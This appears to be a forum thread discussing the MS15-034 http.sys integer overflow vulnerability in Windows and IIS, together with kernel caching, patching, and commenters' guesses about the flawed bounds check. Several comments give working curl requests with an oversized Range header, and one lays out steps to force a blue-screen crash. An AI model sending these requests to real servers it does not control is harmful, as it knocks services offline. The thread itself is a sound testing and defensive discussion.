Remote Kernel Code Execution Via HTTP Request In IIS On Windows

I tried to send the bad curl request to our servers (test env, obviously) and I didn't get any error. It seems I should be getting "Requested Range Not Satisfiable" if the server is vulnerable and "The request has an invalid header name" if it's patched. I'm getting neither, simply a normal response HTTP 200 with the requested page. Anyone knows how to really test it?

EDIT : It is indeed related to "Output Cache" setting in IIS as I said I was suspecting in another comment. I managed to crash our servers by going to IIS Management, select the website I wanted to test, go to Output Caching, enable the feature AND also add a rule (I added a rule for .png just to test). If you have NO rules it is the same as having the feature disabled so you are safe. If you add a rule and check "Enable Kernal Caching" you are vulnerable!

EDIT 2 : As some have asked, this is the command I used to crash our test server. I tested it after having created a new Output Caching rule to cache all .png files in kernel mode.

curl -v http://example.com/image.png -H "Range: bytes=18-18446744073709551615"

I didn't take a screenshot of the BSOD and I don't plan on crashing our test env a second time today because people are using it (I tested it early enough that not a lot of people were at the office yet).

The reason the kernel is involved with http handling is a feature called "Kernel Caching"[1]:

> Enable kernel caching to effectively scale and improve Web server performance. Cached responses are served from the kernel. This greatly improves response times and increases the number of requests per second that IIS can serve because requests for cached content never enter IIS user mode.

[1] https://technet.microsoft.com/en-us/library/cc731903(v=ws.10...

Here the Microsoft Security Bulletin: https://technet.microsoft.com/library/security/ms15-034

I think the title is downplaying the severity of the bug. It's a remote code execution vulnerability in http.sys which is a webserver component running inside the kernel (yea right, great idea!) so you can get remote root via HTTP request. The blog quotes this correctly but I get the feeling the author didn't communicate it properly.

Someone please adjust the title of this submission to something like "CVE-2015-1635: remote kernel code execution via HTTP request affecting Windows Server"

Best I could do on a freshly installed Win2k12 with IIS was:

curl -v http://server-name/iis-85.png -H "Range: bytes=18-18446744073709551615"

Run the curl twice and the bluescreen happens the second time. If I don't request the image then it doesn't work.

I've not added any specific rules for output caching.

Edit: The crash screen is very dull:

http://imgur.com/MZ7VNHQ

It seems to me that if you're running a vulnerable high-value server, the only option for you as an IT admin is to completely wipe the host hard drive and install everything from scratch--and even that may not be enough. Remote kernel code execution means an attacker could install malicious drivers, mess with device firmware, or do pretty much anything else the Windows kernel could do, no? It's a gamble to simply patch the server and hope you weren't already compromised; after all, how does one detect that remote kernel code execution occurred?

In a virtualized environment, I imagine blowing away any disks/volumes should be enough to recover from a potentially compromised system. That said, new Windows volumes (say, on EC2) should be created without inbound HTTP access, patched, and only then allowed to serve HTTP traffic.

I bet somewhere in the source there is a line which looks like:

    if (inclusiveEnd + 1 > size) {
        return ERR_INVALID;
    }

HTTP ranges are inclusive, and most likely implemented here with unsigned 64 bit integers. My guess is the author converted to exclusive range, then compared with size, as a form of validation. It passes the check, because 18446744073709551615 + 1 results in wraparound to 0.

The general solution is instead to use something like:

    if (size < offset || start > size - offset) {
        ... // range violated
    }

But you hardly ever see people do that.

>A remote code execution vulnerability exists in the HTTP protocol stack [...] could execute arbitrary code in the context of the System account.

SYSTEM is higher than admin. Using IIS on windows is like running a webserver as root on linux.

From the exploit code:

    memset(&serv_addr, '0', sizeof(serv_addr));

That doesn't seem to be correct. The digit character 0 is not the same as the null character ('\0'). Just write 0 or use `struct sockaddr_in serv_addr = { 0 };`.

The interesting take-away is the .sys suffix on the filename: Yes, Windows contains a device driver running in Kernel mode that cares about (IIS) HTTP traffic.

The part that makes this really nasty is it doesn't just impact webservers. IIS is highly leveraged by other Microsoft technologies, everything from WSUS to SMTP to Exchange to Sharepoint are affected. In my environment, I estimate that 3/4 of my servers are vulnerable.

Made a online tool that tests for this vuln: https://lab.xpaw.me/MS15-034/?host=bing.com

It is not only about IIS. Various other SW use this API. For example Citrix Remote Receiver. And also various Antivirus Programs, use this HTTP interface – to be accessible from central management. Just try to execute “netsh show http urlacl” and you will see how many programs use it. Or you can use TCPView(Sysinternals) to see which ports are bound by "process" SYSTEM (pid 4).

Is the HttpListener .NET class impacted?

https://msdn.microsoft.com/en-us/library/system.net.httplist...

Just to clarify to everyone that this vulnerability has absolutely nothing to do with IIS web server. HTTP.SYS is not part of IIS. HTTP.SYS is the way HTTP/S hosting works on Windows. Any applications may use it, it is an API.

HTTP.SYS is a clever idea as it allows the 80/443 ports to be used by multiple processes, as long as they register unique base URLs. What's not so clever about it is that despite rigorous testing and validation against its codebase, that something like this slipped through. Historically, HTTP.SYS has had a pretty good track record (against all the odds) until this week.

It's surprising that this could even cause a crash, much less code execution, since if it really is an integer overflow I'd expect the range to wrap around (mod 2^n) and you'd just get a different part of the file you were requesting (e.g. with 32-bit maths, asking for bytes 0-4294967300 will return bytes 0-4 instead.) It looks more like a signed/unsigned confusion to me - the 1844...615 value is -1 if interpreted as a signed number, and even if this caused reading past the end of a buffer, the result would be more Heartbleed-like than code execution.

Just taking a guess here, but the code execution probably requires a POST request instead of GET. Nevertheless, it's still quite puzzling how something like this could occur.

Note: I have not tested this personally. Others here https://news.ycombinator.com/item?id=9380889 say they haven't been able to reproduce it.

Edit: apparently you need kernel caching of HTTP requests enabled, and at least one rule for caching, and the request has to satisfy that rule, in order to cause a crash.

FYI: I believe all you need to do is run Windows Update (and reboot) in order to get the patch for this.

I'm mentioning this because found I the Microsoft articles slightly unclear; they listed separate downloads for these updates and I wasn't sure if those updates were available via Windows Update or not.

However, it appears that running Windows Update is sufficient. I ran Windows Update on a 2008 R2 server running IIS. One of the updates it pulled down was "Security Update for Windows Server 2008 R2 x64 Edition (KB3042553) which is the KB article that references this vulnerability.

After Windows Update & a reboot, I used the curl snippet provided on the linked article to test my patched server. At this point it does not appear to be vulnerable to this issue.

I was wondering how the number, 18446744073709551615, was chosen as the magic number. Maybe it is from this?

http://en.wikipedia.org/wiki/Wheat_and_chessboard_problem

Edit: 2^64 - 1

But does it have a catchy name yet?

I suggest: Long-range

I can confirm on Windows 2K8R2 and 2K12, with Kernel Caching enabled (as per default IIS settings) and without any Kernel Caching rules, that I can reproduce the issue using the cURL method.

Steps to reproduce.

Check server is vulnerable curl -v http://blah.com/ -H "Range: bytes=00-18446744073709551615"

You should see a Error 416.

Force crash curl -v http://blah.com/images/blah.jpg -H "Range: bytes=100-18446744073709551615" --and/or-- curl -v http://blah.com/images/blah.jpg -H "Range: bytes=40-18446744073709551615"

Note above: You have to specifically address a file AND use byte range 40 or 100 in my setup to make it bluescreen.

After Patching - Check Vulnerability curl -v http://blah.com/ -H "Range: bytes=00-18446744073709551615"

Response: Error 400: The request has an invalid header name

After Patching - Force Crash Test

curl -v http://blah.com/images/blah.jpg -H "Range: bytes=100-18446744073709551615"

Response: 206 Partial Content

Hope that helps.

Windows Update patched this yesterday, right? At least I see KB 3042553 listed in my update history from yesterday.

Isn't a lot of government using IIS? How long before someone starts attacking their services with this?

Is Azure vulnerable?

The patches for the MS Server OSes are at: https://support.microsoft.com/en-us/kb/3042553

It's a little unclear that this was patched as part of last night's Patch Tuesday.

So unchecked arithmetic is the culprit, again? And this would seem to be the kind of thing that could get passed through frontends unless they already cached a result.

I have written vulnerability testers in Powershell and C# varieties:

https://gist.github.com/Zagrophyte/ea086087e6fd7ca579ef (Powershell)

https://gist.github.com/Zagrophyte/0fa7a8e2e507fac2b59d (C#)

Does anyone know how this affects azure?

After running windows update my machine went from responding with

HTTP Error 416. The requested range is not satisfiable.

to

HTTP Error 400. The request has an invalid header name.

Well, it's just gone 3am here in the UK. I can finally install the update.

Is Windows Server 2008 Standard Edition also affected or just 2008 R2?

The subject line says HTTP only. Does this attack work over HTTPS?

Does anyone have an example of the remote code execution?

aweomse

> Details are withheld for now

At least for us. DHS/NSA already has them thanks to Microsoft's renewed commitment to share "cyber-threat" data with them (a.k.a zero-days).